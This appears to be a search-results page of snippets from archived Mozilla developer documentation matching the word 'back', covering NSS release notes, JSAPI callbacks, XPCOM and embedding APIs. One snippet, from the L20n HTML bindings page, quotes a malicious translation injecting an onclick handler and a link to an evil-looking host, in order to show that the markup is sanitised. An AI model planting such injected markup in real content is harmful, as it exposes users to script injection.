back version: var browser = document.queryselector('iframe'); var request = browser.getvolume(); request.onsuccess = function() { console.log('the current browser volume is ' + request.result); } promise version: var browser = document.queryselector('iframe'); browser.getvolume().then(function(volume) { console.log('the current browser volume is ' + volume); }); specification not part of any specification.
Overview of Mozilla embedding APIs
the embedding application receives notifications from gecko through a set of call
back interfaces it may choose to implement.
... webbrowser = do_createinstance(ns_webbrowser_contractid, &rv); if (ns_failed(rv)) return rv; // give the webbrowser a pointer to the embedding component which // implements the call
back interfaces.
... // save webbrowser before it goes out of scope :-) web navigation the nsiwebnavigation interface is used to load uris into the webbrowser and provide access to session history capabilities - such as
back and forward.
Embedding Tips
this interface also has methods for reloading, stopping a load and going
back and forward in the history.
...use the call
backs for after-the-fact cancellation.
...this method should create the new browser window in the specified style and hand
back the nsiwebbrowserchrome interface to it.
Introduction to Layout in Mozilla
creates a parser, returned as nsistreamlistener
back to the docshell creates a content sink, which is linked to the parser and the document creates a documentviewerimpl object, which is returned as nsicontentviewer
back to the docshell documentviewerimpl creates pres context and pres shell content model construction content arrives from network via nsistreamlistener::ondataavailable parser tokenizes & processe...
...ecursively walks content tree, resolves style and creates frames either created by tag (<select>) or by display type (<p>) frame manager maintains mapping from content to frame style resolution compute stylistic information based on the style rules that apply for the frame’s content node style data broken into different structures display, visibility, font, color,
background, … inherit vs.
...of target frames amortize state recovery and damage propagation cost painting as reflow proceeds through the frame hierarchy, areas are invalidated via nsiviewmanager::updateview unless immediate, invalid areas are coalesced and processed asynchronously via os expose event native expose event dispatched to widget; widget delegates to the view manager view manager paints views
back-to-front, invoking presshell’s paint method presshell::paint walks from the view to the frame; invokes nsiframe::paint for each layer incrementalism single-threaded simple (no locking) can’t leave event queue unattended content construction unwinds “at will” parser and content sink do some buffering content sink has “notification limits” ...
CustomizableUI.jsm
aarea will be the area the item is dragged to, or undefined after the measurements have been done and the node has been moved
back to its 'regular' area.
... return value the customize target dom node for aarea in awindow reset() reset the customization state
back to its default.
...however, once the user reopens a window, the widget will move
back to its 'proper' area automagically.
OS.File for the main thread
backupto available since firefox 30.
... if specified,
backup the destination file as
backupto.
...if the process or the operating system freezes or crashes during the short window between these operations, the destination file will have been moved to its
backup.
Promise.jsm
this method registers call
back functions that are called as soon as the promise is either fulfilled or rejected.
... the method returns a new promise that, in turn, is fulfilled or rejected depending on the state of the original promise and on the behavior of the call
backs.
... for example, unhandled exceptions in the call
backs cause the new promise to be rejected, even if the original promise is fulfilled.
WebChannel.jsm
method overview listen(function call
back); stoplistening(); send(object message, eventtarget target); attributes id string webchannel id methods listen() registers the call
back for messages on this channel.
... parameters call
back call
back function containing function(id, message, sendercontext) parameters.
... id - webchannel id of the incoming messages message - incoming message object sendercontext - incoming message context - this should be treated as an opaque object and passed to the .send() method stoplistening() resets the call
back for messages on this channel.
WebRequest.jsm
brequest, use code like: let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); the webrequest object has the following properties, each of which corresponds to a specific stage in executing a web request: onbeforerequest onbeforesendheaders onsendheaders onheadersreceived onresponsestarted oncompleted each of these objects defines two functions: addlistener(call
back, filter, opt_extrainfospec) removelistener(call
back) adding listeners use addlistener to add a listener to a particular event.
... name type description call
back function the call
back argument is a function to be called when the event is triggered.
... filter object the optional filter argument is used to restrict the requests for which the listener call
back will be invoked.
Localization content best practices
bugzilla and l10n do i need l10n feed
back?
... feed
back from l10n-drivers is not necessary for each landing involving strings, as long as you're following the basic rules described in this document.
... if you have doubts about the localizability of some text or structure (not about the text itself, that would need copywriters), it's definitely good to ask feed
back.
Mozilla Development Strategies
you (or someone else) will be
back in that code someday.
... it's easier to do it right once, when your mind is in the problem, than to do it once quickly and then have to come
back and do it again the right way.
...you can use talk
back queries or bugzilla queries to find crashers.
Mozilla Style System
in one half (the
backend) are the sources of specified style data, and in the other half (the frontend) is the code that turns the specified values into computed values.
...the methods on nsistyleruleprocessor allow the front end to ask the
back ends for the style data that applies to a given element or pseudo-element, in the form of style rules.
... rule tree style data computation css style sheet
backend loading parsing data structures cascading html mapped attribute
backend css style attribute
backend handling of dynamic changes see also mozilla style system documentation (2002) style system tech talk (2002) ...
Mozilla Style System Documentation
style context management a style context (class nsstylecontext, currently also interface nsistylecontext although the interface should go away when all of the style systems can be moved
back into the layout dll) represents the style data for a css formatting object.
... css stylesheet
backend css stylesheet loading [this section needs to be written.
...it should be consolidated so that the style system code can be moved
back within the layout dll and nsistylecontext can be de-com-ified.
JS::PerfMeasurement
we also can't guarantee that all platforms will support all event types, once we have more than one
back end for this interface.
... (at time of writing, linux allows all the above events to be measured, and we don't have
back ends for any other operating system.
... counter values are accumulated across many start/stop cycles, and you can modify their values if you want; stop simply adds counts read
back from the os to whatever is already in each counter.
Profiling with the Firefox Profiler
as you zoom in on ranges, breadcrumbs are created allowing you to easily navigate
back to previously-selected ranges or the entire profile (denoted as "full range").
... tip: while zooming out to a previously-selected range deletes the narrower range, the browser
back button can be used to restore the narrower range.
... the bugzilla components are core::gecko profile for the profiler
backend, and devtools::performance tools (profiler/timeline) for the toolbar button and about:profiling.
L20n HTML Bindings
consider the following source html: <p data-l10n-id="save"> <input type="submit"> <a href="/main" class="btn-cancel"></a> </p> assume the following malicious translation: <save """ <input value="save" type="text"> or <a href="http://myevilwebsite.com" onclick="alert('pwnd!')" title="
back to the homepage">cancel</a>.
... """> the result will be: <p data-l10n-id="
back"> <input value="save" type="submit"> or <a href="/main" class="btn-cancel" title="
back to the homepage">cancel</a>.
...there is no language negotiation nor locale fall
back possible in the monolingual mode.
McCoy
backing up data if you need to
backup your data or move it from one machine to another you need to take a copy of the profile folder.
... this is located in: %appdata%\mozilla\mccoy (windows) ~/.mozilla/mccoy (linux) ~/library/application support/mccoy (mac os x) it is highly recommended that you
back up your profile folder and store it in a safe location whenever you create a new key; without a
backup, there is no way to recover your private keys if they are lost!
...the file will be overwritten so take a
backup if you need to.
Optimizing Applications For NSPR
at thread switch time, the stack of the current running thread is copied to other storage associated with that thread and the about-to-be-dispatched thread's stack data is copied
back onto the windows stack just before the thread is given control.
...the prolog is presented in the macro <tt>pr_call
back</tt>.
... for any function made available to any shared library (most likely passed in as a function pointer), that function must have the <tt>pr_call
back</tt> qualifier.
PR_InitializeNetAddr
this must be pr_ipaddrnull, pr_ipaddrany, or pr_ipaddrloop
back.
... the special network address values are identified by the enum prnetaddrvalue: typedef enum prnetaddrvalue{ pr_ipaddrnull, pr_ipaddrany, pr_ipaddrloop
back } prnetaddrvalue; the enum has the following enumerators: pr_ipaddrnull do not overwrite the ip address.
... pr_ipaddrloop
back assign logical pr_inaddr_loop
back.
PR_Listen
syntax #include <prio.h> prstatus pr_listen( prfiledesc *fd, printn
backlog); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing a socket that will be used to listen for new connections.
...
backlog the maximum length of the queue of pending connections.
...the maximum size of the queue for pending connections is specified by the
backlog parameter.
An overview of NSS Internals
if a programmer wants to influence how nss verifies certificates or how nss verifies the data presented in a ssl connection handshake, it is possible to register application-defined call
back functions which will be called by nss at the appropriate point of time, and which can be used to override the decisions made by nss.
...if you must support proxies in your application, you are able to register your own implementation of an http request call
back interface, and nss can use your application code that supports proxies.
...the data will be processed and either returned directly or sent to a call
back function registered in the context.
4.3.1 Release Notes
compatibility jss 4.3.1 is
backwards compatible with jss 4.2.
...to obtain the version info from the jar file use, "system.out.println(org.mozilla.jss.cryptomanager.jar_jss_version)" and to check the shared library: strings libjss4.so | grep -i header feed
back bugs discovered should be reported by filing a bug report with bugzilla.
... you can also give feed
back directly to the developers on the mozilla cryptography forums...
4.3 Release Notes
compatibility jss 4.3 is
backwards compatible with jss 4.2.
... to obtain the version info from the jar file use, "system.out.println(org.mozilla.jss.cryptomanager.jar_jss_version)" and to check the shared library: strings libjss4.so | grep -i header feed
back bugs discovered should be reported by filing a bug report with bugzilla.
... you can also give feed
back directly to the developers on the mozilla cryptography forums...
NSS_3.11.10_release_notes.html
nss 3.11.10 release notes 2008-12-10 newsgroup: <ahref="news: mozilla.dev.tech.crypto"="" news.mozilla.org="">mozilla.dev.tech.crypto</ahref="news:> contents introduction distribution information bugs fixed documentation compatibility feed
back introduction network security services (nss) 3.11.10 is a patch release for nss 3.11.
...new and revised documents available since the release of nss 3.9 include the following: build instructions for nss 3.11.4 and above compatibility nss 3.11.10 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with mozilla.org bugzilla (product nss).
NSS_3.12.1_release_notes.html
nss 3.12.1 release notes 2008-09-05 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.1 bugs fixed documentation compatibility feed
back introduction network security services (nss) 3.12.1 is a patch release for nss 3.12.
...new and revised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.1 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with mozilla.org bugzilla (product nss).
NSS_3.12.2_release_notes.html
nss 3.12.2 release notes 2008-10-20 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.2 bugs fixed documentation compatibility feed
back introduction network security services (nss) 3.12.2 is a patch release for nss 3.12.
...new and revised documents available since the release of nss 3.11 include the following: build instructions for nss 3.11.4 and above nss shared db compatibility nss 3.12.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with mozilla.org bugzilla (product nss).
NSS 3.14 release notes
support for application-defined certificate chain validation call
back when using libpkix to better support per-application security policies, a new call
back has been added for applications that use libpkix to verify certificates.
... applications may use this call
back to inform libpkix whether or not candidate certificate chains meet application-specific security policies, allowing libpkix to continue discovering certificate paths until it can find a chain that satisfies the policies.
... the following types have been added in nss 3.14 certchainverifycall
back (in certt.h) certchainverifycall
backfunc (in certt.h) cert_pi_chainverifycall
back, a new option for certvalparamintype (in certt.h) a new error code: sec_error_application_call
back_error (in secerr.h) new for pkcs #11 pkcs #11 mechanisms: ckm_aes_cts ckm_aes_ctr ckm_aes_gcm (see warnings against using c_encryptupdate/c_decryptupdate above) ckm_sha224_key_derivation ckm_sha256_key_derivation ckm_sha384_key_derivation ckm_sha512_key_derivation changes in nss 3.14 bug 333601 - performance enhancements for intel macs when building for intel macs, nss will now take ...
NSS 3.17.3 release notes
nss 3.17.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_3_rtm/src/ new in nss 3.17.3 new functionality support for tls_fall
back_scsv has been added to the ssltap and tstclnt utilities.
...:20:69:ff:ad:4f:dd:5f:46:3a:1b:69:aa the version number of the updated root ca list has been set to 2.2 bugs fixed in nss 3.17.3 this bugzilla query returns all the bugs fixed in nss 3.17.3: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.3 compatibility nss 3.17.3 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.18.1 release notes
so, to give website administrators more time to update their web servers, we reverted the trust bits
back to being enabled.
...:e4:47:ac:c3:7e:af:c9:e2:bf:e4:c5:76 the version number of the updated root ca list has been set to 2.4 bugs fixed in nss 3.18.1 this bugzilla query returns all the bugs fixed in nss 3.18.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.18.1 compatibility nss 3.18.1 shared libraries are
backward compatible with all older nss 3.18 shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.20 release notes
for
backward compatibility reasons, the server side implementation of the tls library keeps all dhe ciphersuites disabled by default.
... bugs fixed in nss 3.20 this bugzilla query returns all the bugs fixed in nss 3.20: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.20 compatibility nss 3.20 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report at bugzilla.mozilla.org (product nss).
NSS 3.22.2 release notes
notable changes in nss 3.22.2 bug 1247990 - the root ca changes from nss 3.23 have been
backported.
... compatibility nss 3.22.2 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.28.5 release notes
it
backports the changes that were initially released in nss version 3.30.2.
... compatibility nss 3.28.5 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.37 release notes
nss allows servers now to register alpn handling call
backs to select a protocol.
...256 fingerprint: 49:35:1b:90:34:44:c1:85:cc:dc:5c:69:3d:24:d8:55:5c:b2:08:d6:a8:14:13:07:69:9f:4a:f0:63:19:9d:78 bugs fixed in nss 3.37 this bugzilla query returns all the bugs fixed in nss 3.37: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.37 compatibility nss 3.37 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.43 release notes
a-256 fingerprint: 5a2fc03f0c83b090bbfa40604b0988446c7636183df9846e17101a447fb8efd6 the following ca certificates were removed: none bugs fixed in nss 3.43 bug 1528669 and bug 1529308 - improve gyp build system handling bug 1529950 and bug 1521174 - improve nss s/mime tests for thunderbird bug 1530134 - if docker isn't installed, try running a local clang-format as a fall
back bug 1531267 - enable fips mode automatically if the system fips mode flag is set bug 1528262 - add a -j option to the strsclnt command to specify sigschemes bug 1513909 - add manual for nss-policy-check bug 1531074 - fix a deref after a null check in seckey_setpublicvalue bug 1517714 - properly handle esni with hrr bug 1529813 - expose hkdf-expand-label with mechanism bug 1535122 - align t...
... this bugzilla query returns all the bugs fixed in nss 3.43: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.43 compatibility nss 3.43 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.45 release notes
d session ticket only after handshake is marked as finished bug 1550708 - fix gyp scripts on solaris sparc so that libfreebl_64fpu_3.so builds bug 1554336 - optimize away unneeded loop in mpi.c bug 1559906 - fipstest: use ckm_tls12_master_key_derive instead of vendor specific mechanism bug 1558126 - tls_aes_256_gcm_sha384 should be marked as fips compatible bug 1555207 - helloretryrequestcall
back return code for rejecting 0-rtt bug 1556591 - eliminate races in uses of pk11_setwrapkey bug 1558681 - stop using a global for anti-replay of tls 1.3 early data bug 1561510 - fix a bug where removing -arch xxx args from cc didn't work bug 1561523 - add a string for the new-ish error ssl_error_missing_post_handshake_auth_extension this bugzilla query returns all the bugs fixed in nss 3.45: ...
...https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.45 compatibility nss 3.45 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.48 release notes
known-answer-test scripts bug 1586176 - encryptupdate should use maxout not block size (cve-2019-11745) bug 1593141 - add `notbefore` or similar "beginning-of-validity-period" parameter to mozilla::pkix::trustdomain::checkrevocation bug 1591363 - fix a pbkdf2 memory leak in nsc_generatekey if key length > max_key_len (256) bug 1592869 - use arm neon for ctr_xor bug 1566131 - ensure sha-1 fall
back disabled in tls 1.2 bug 1577803 - mark pkcs#11 token as friendly if it implements ckp_public_certificates_token bug 1566126 - power ghash vector acceleration bug 1589073 - use of new pr_assert_arg in certdb.c bug 1590495 - fix a crash in pk11_makecertfromhandle bug 1591742 - ensure des iv length is valid before usage from pkcs#11 bug 1588567 - enable mozilla::pkix gtests in nss ci bug 1591...
...39 - fix a memory leak in btoa.c bug 1589810 - fix uninitialized variable warnings from certdata.perl bug 1573118 - enable tls 1.3 by default in nss this bugzilla query returns all the bugs fixed in nss 3.48: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.48 compatibility nss 3.48 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.50 release notes
note that intel processors with sse4 but without avx are currently unable to use the improved chacha20/poly1305 due to a build issue; such platforms will fall-
back to less optimized algorithms.
... this bugzilla query returns all the bugs fixed in nss 3.50: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.50 compatibility nss 3.50 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
OLD SSL Reference
initialization initializing caches configuration communication functions used by call
backs cleanup chapter 2 getting started with ssl this chapter describes how to set up your environment, including certificate and key databases, to run the nss sample code.
...uration ssl_importfd ssl_optionset ssl_optionget ssl_cipherprefset ssl_cipherprefget ssl_configsecureserver ssl_seturl ssl_setpkcs11pinarg call
back configuration ssl_authcertificatehook ssl_authcertificate ssl_badcerthook ssl_getclientauthdatahook nss_getclientauthdata ssl_handshakecall
back ssl communication functions ...
... ssl_invalidatesession ssl_datapending ssl_securitystatus ssl_getsessionid ssl_setsockpeerid ssl functions used by call
backs ssl_peercertificate ssl_revealurl ssl_revealpinarg ssl handshake functions ssl_forcehandshake ssl_rehandshake ssl_resethandshake nss shutdown function nss_shutdown deprecated functions ssl_enabledefault ssl_enable ssl_enablecipher ssl_setpolicy ...
sslerr.html
ssl_error_bad_certificate -12284 "unable to communicate securely with peer: peers's certificate was rejected." a certificate was received from the remote system and was passed to the certificate authentication call
back function provided by the local application.
... that call
back function returned secfailure, and the bad certificate call
back function either was not configured or did not choose to override the error code returned by the certificate authentication call
back function.
... ssl_error_wrong_certificate -12277 "client authentication failed: private key in key database does not correspond to public key in certificate database." ssl_error_bad_cert_domain -12276 "unable to communicate securely with peer: requested domain name does not match the server's certificate." this error code should be returned by the certificate authentication call
back function when it detects that the common name in the remote server's certificate does not match the hostname sought by the local client, according to the matching rules specified for cert_verifycertname.
JSClass.flags
one of jsclass_foreground_finalize and jsclass_
background_finalize must be specified.
... jsclass_
background_finalize it is safe to finalize objects of this class on a
background thread.
... one of jsclass_foreground_finalize and jsclass_
background_finalize must be specified.
JSClass
a jsclass has a name, flags, and several call
back functions for advanced customization of object behavior.
... simple classes a simple custom class does not require any special jsclass call
backs.
...implement a jsclass.finalize call
back that frees the private data.
JSConvertOp
description jsconvertop call
back specifies conversion behavior for objects having this class, implementing the ecmascript [[defaultvalue]] behavior for them.
...(support for the other types may eventually be removed.) the call
back returns true to indicate success or false to indicate failure.
... jsclass hooks jsclass offers the following hook: the jsclass.convert call
back implements the [[defaultvalue]] behavior for objects having that class.
JSExtendedClass.wrappedObject
this article covers features introduced in spidermonkey 1.8 call
back for objects that wrap other objects.
...in these cases the engine calls the jsextendedclass.wrappedobject call
back to get the wrapped object.
... the wrappedobject call
back implementation must never fail.
JSIteratorOp
this article covers features introduced in spidermonkey 1.8 call
back for creating iterators.
... description the javascript engine calls the jsextendedclass.iteratorobject call
back to create an iterator object for a given object.
... the call
back should return an iterator object or null if an error or exception occurred on cx.
JSNewResolveOp
jsnewresolveop is the type of the jsclass.resolve call
back when the jsclass_new_resolve bit is set in the jsclass.flags field.
...on success, the call
back must set the *objp out parameter to null if id was not resolved; or non-null, referring to obj or one of its prototypes, if id was resolved; and return js_true.
...the flags describe what kind of property access triggered the resolve call
back.
JSObjectOps.dropProperty
the jsobjectops.dropproperty call
back releases a jsproperty.
... while the property is locked, the caller may access it using other jsobjectops call
backs.
...(in a js_threadsafe build, that would risk deadlock.) when finished with a locked property, the caller must release it by calling the dropproperty call
back.
JSObjectOps.enumerate
the jsobjectops.enumerate call
back implements iteration over object properties.
... the type of the call
back is jsnewenumerateop.
... for native objects, the enumerate call
back first checks the jsclass_new_enumerate flag of the object's class.
JSObjectOps.lookupProperty
the jsobjectops.lookupproperty call
back is called for every property access (except when a higher-level call
back, such as jsobjectops.getproperty, is overloaded in a way that does not call lookupproperty).
...if the property is found, the call
back stores the object on which the property was found in *objp.
...on success, the call
back stores in *propp a pointer to the property, if it exists, or null if it doesn't.
JSObjectOps.setProto
the jsobjectops.setproto and setparent call
backs implement the js_setprototype and js_setparent functions.
... these call
backs share the same type, jssetobjectslotop.
... slot uint32 the index of the slot being modified: jsslot_proto for the jsobjectops.setproto call
back, and jsslot_parent for the jsobjectops.setparent call
back.
JS_CheckAccess
if obj has custom jsobjectops, the access check is delegated to the jsobjectops.checkaccess call
back.
... otherwise, if obj's class has a non-null jsclass.checkaccess call
back, then it is called to perform the check.
... otherwise, if a runtime-wide check-object-access call
back has been installed by calling js_setcheckobjectaccesscall
back, then that is called to perform the check.
JS_EnumerateDiagnosticMemoryRegions
syntax void js_enumeratediagnosticmemoryregions(jsenumeratediagnosticmemorycall
back call
back); name type description call
back jsenumeratediagnosticmemorycall
back pointer to the new call
back function to use.
... call
back syntax typedef bool (* jsenumeratediagnosticmemorycall
back)(void *ptr, size_t length); name type description ptr void * pointer to the allocated memory.
... see also mxr id search for js_enumeratediagnosticmemoryregions mxr id search for jsenumeratediagnosticmemorycall
back bug 662646 ...
JS_ReportError
the resulting error message is passed to the context's jserrorreporter call
back, if any.
... if the caller is in a jsapi call
back, js_reporterror also creates a new javascript error object and sets it to be the pending exception on cx.
... the call
back must then return js_false to cause the exception to be propagated to the calling script.
JS_SetErrorReporter
call
back syntax typedef void (* jserrorreporter)(jscontext *cx, const char *message, jserrorreport *report); name type description cx jscontext * the context in which the error happened.
... the error reporter call
back must not reenter the jsapi.
... like all other spidermonkey call
backs, the error reporter call
back must not throw a c++ exception.
JS_SetExtraGCRoots
call
back syntax typedef void jstracedataop (jstracer *trc, void *data); argument meaning trc tracing data, to be passed through to js_calltracer.
...this is the data value that was passed to js_setextragcroots when this call
back function was installed.
... call
back description generic trace operation that calls js_calltracer on additional traceable things.
SpiderMonkey 1.8.8
many jsapi types, functions, and call
back signatures have changed, though most of them still have the same names and do the same things.
...jsclass call
back changes many of the jsclass call
backs such as jsresolveop, jsenumerateop and jspropertyop, have a type change on their arguments to jshandleobject, jshandleid, jshandlemutableobject etc.
... atleast for the c api this wraps an extra pointer around these objects, so you would cast the argument to jsobject**, in the call
back function.
SpiderMonkey 17
many jsapi types, functions, and call
back signatures have changed, though most of them still have the same names and do the same things.
...jsclass call
back changes many of the jsclass call
backs such as jsresolveop, jsenumerateop and jspropertyop, have a type change on their arguments to jshandleobject, jshandleid, jshandlemutableobject etc.
... atleast for the c api this wraps an extra pointer around these objects, so you would cast the argument to jsobject**, in the call
back function.
SpiderMonkey 45
many jsapi types; functions, and call
back signatures, have changed though most functions that have retain their previous name, providing relatively unchanged functionality.
...js::disposeperformancemonitoring (bug 1208747) js::setstopwatchismonitoringcpow (bug 1156264) js::getstopwatchismonitoringcpow (bug 1156264) js::setstopwatchismonitoringjank (bug 1156264) js::getstopwatchismonitoringjank (bug 1156264) js::isstopwatchactive (bug 674779) js::getperfmonitoringtestcpurescheduling (bug 1181175) js::addcpowperformancedelta (bug 1181175) js::setstopwatchstartcall
back (bug 1208747) js::setstopwatchcommitcall
back (bug 1208747) js::setgetperformancegroupscall
back (bug 1208747) js_stringhasbeeninterned renamed to js_stringhasbeenpinned (bug 1178581) js_internjsstring renamed to js_atomizeandpinjsstring (bug 1178581) js_internstringn renamed to js_atomizeandpinstringn (bug 1178581) js_internstring renamed to js_atomizeandpinstring (bug 1178581) js_internucs...
...2 js_deleteucproperty2 js_deleteelement2 js_newfunctionbyid js_bindcallable js_decompilefunctionbody js_getlatin1internedstringchars js_gettwobyteinternedstringchars js_newdateobjectmsec js_cleardatecaches changed apis js_init has moved from jsapi.h to js/initialization.h js_shutdown has moved from jsapi.h to js/initialization.h js_initreflect is now implicit js_addweakpointercall
back is replaced with js_addweakpointerzonegroupcall
back and js_addweakpointercompartmentcall
back js_removeweakpointercall
back is replaced with js_removeweakpointerzonegroupcall
back and js_removeweakpointercompartmentcall
back api changes javascript shell changes detail added/removed methods here...
Handling Mozilla Security Bugs
background security vulnerabilities are different from other bugs, because their consequences are potentially so severe: users' private information (including financial information) could be exposed, users' data could be destroyed, and users' systems could be used as platforms for attacks on other systems.
...however, a security bug can revert
back to being a normal bug by having the "security-sensitive" flag removed, in which case the access control restrictions will no longer be in effect.
... at the end of this period, the security module owner will decide to accept the applicant or not, based on feed
back and objections from the security bug group in general, and from the module owner's peers in particular.
The Publicity Stream API
onsuccess is a call
back that will be invoked with no arguments if the activity is successfully posted.
... onerror is an error call
back that will be invoked if the publicity fails.
... onerror is an error call
back that will be invoked if the installation fails.
extIApplication
method overview boolean quit() boolean restart() void getextensions(extiextensionscall
back acall
back) attributes the following interfaces are available to all applications: attribute type description id readonly attribute astring the id of the application.
... getextensions(acall
back) calls acall
back with the list of installed extensions.
... void getextensions(extiextensionscall
back acall
back) return value none.
An Overview of XPCOM
these pieces, known as components, are then assembled
back together at runtime.
...if the object supports the requested interface, it adds a reference to itself and passes
back a pointer to that interface.
... there are some draw
backs to defining your interface using xpidl.
Using XPCOM Utilities to Make Things Easier
« previousnext » this chapter goes
back over the code you've already created in the first part of the tutorial (see weblock1.cpp in the previous chapter) and uses xpcom tools that make coding a lot easier and more efficient.
... module implementation macros the general case is to use ns_impl_nsgetmodule, which doesn't take any call
backs, but all the macros follow the same general pattern.
...this is a common pattern when you have a local nscomptr in a function and you must pass
back a reference to it, as in the following: someclass::get(nsisupports** aresult) { if (!aresult) return ns_error_null_pointer; nscomptr<nsisupports> value; object->method(getter_addrefs(value)); *aresult = value.get(); ns_if_addref(*aresult); return ns_ok; } the first thing that this method does is check to see that the caller passed a valid address.
operator=
return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
operator+=
return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
operator=
return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
amIWebInstaller
ox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview boolean installaddonsfromwebpage(in astring amimetype, in nsidomwindow awindow, in nsiuri areferer, [array, size_is(ainstallcount)] in wstring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, [optional] in amiinstallcall
back acall
back, [optional] in pruint32 ainstallcount); boolean isinstallenabled(in astring amimetype, in nsiuri areferer); note: prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindow.
...boolean installaddonsfromwebpage( in astring amimetype, in nsidomwindow awindow, in nsiuri areferer, [array, size_is(ainstallcount)] in wstring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, in amiinstallcall
back acall
back, optional in pruint32 ainstallcount optional ); parameters amimetype the mimetype for the add-ons.
... acall
back optional an optional call
back to notify about installation success and failure.
nsIApplicationCacheChannel
inherits from: nsiapplicationcachecontainer last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void markofflinecacheentryasforeign(); attributes attribute type description chooseapplicationcache boolean when true, the channel will choose an application cache if one was not explicitly provided and none is available from the notification call
backs.
... inheritapplicationcache boolean true if the channel will ask its notification call
backs for an application cache if one is not explicitly provided.
...this value may be false even if the resource is assigned to an application cache if, for example, it was loaded as a fall
back.
nsIApplicationCacheNamespace
method overview void init(in unsigned long itemtype, in acstring namespacespec, in acstring data); attributes attribute type description data acstring data associated with the namespace, such as a fall
back.
... namespace_fall
back 2 items matching this namespace can be fetched from the network when loading from this cache; however, if the load fails, the cache entry specified by the data attribute should be loaded intstead.
...this can be combined with namespace_fall
back to provide a fall
back entry in the data attribute.
nsIContentPrefService
to create an instance, use: var contentprefservice = components.classes["@mozilla.org/content-pref/service;1"] .getservice(components.interfaces.nsicontentprefservice); method overview void addobserver(in astring aname, in nsicontentprefobserver aobserver); nsivariant getpref(in nsivariant agroup, in astring aname, [optional] in nsicontentprefcall
back acall
back); nsipropertybag2 getprefs(in nsivariant agroup); nsipropertybag2 getprefsbyname(in astring aname); boolean haspref(in nsivariant agroup, in astring aname); void removegroupedprefs(); void removeobserver(in astring aname, in nsicontentprefobserver aobserver); void removepref(in nsivariant agroup, in astring aname); void re...
... nsivariant getpref( in nsivariant agroup, in astring aname, in nsicontentprefcall
back acall
back optional ); parameters agroup the group for which to retrieve a preference; this may be specified as either a uri or as a string; in either case, the group consists of all sites matching the hostname portion of the specified uri.
... acall
back an optional nsicontentprefcall
back to receive the result.
nsIFilePicker
ce, use: var filepicker = components.classes["@mozilla.org/filepicker;1"] .createinstance(components.interfaces.nsifilepicker); method overview void appendfilter(in astring title, in astring filter); void appendfilters(in long filtermask); void init(in nsidomwindow parent, in astring title, in short mode); void open(in nsifilepickershowncall
back afilepickershowncall
back); short show(); obsolete since gecko 57.0 attributes attribute type description addtorecentdocs boolean if true, the file is added to the operating system's "recent documents" list (if the operating system has one; nothing happens if there is no such concept on the user's platform).
... return value constants these values are returned by show() or passed as an argument to open()'s call
back, indicating the result of the file picker activity.
... void open( in nsifilepickershowncall
back afilepickershowncall
back ); parameters afilepickershowncall
back the nsifilepickershowncall
